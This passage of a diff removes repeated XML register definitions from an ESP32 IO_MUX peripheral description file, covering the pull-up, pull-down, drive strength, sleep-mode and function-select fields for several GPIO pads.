-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO0</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO4</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO16</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO17</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO9</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO10</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO11</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO6</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO7</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO8</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
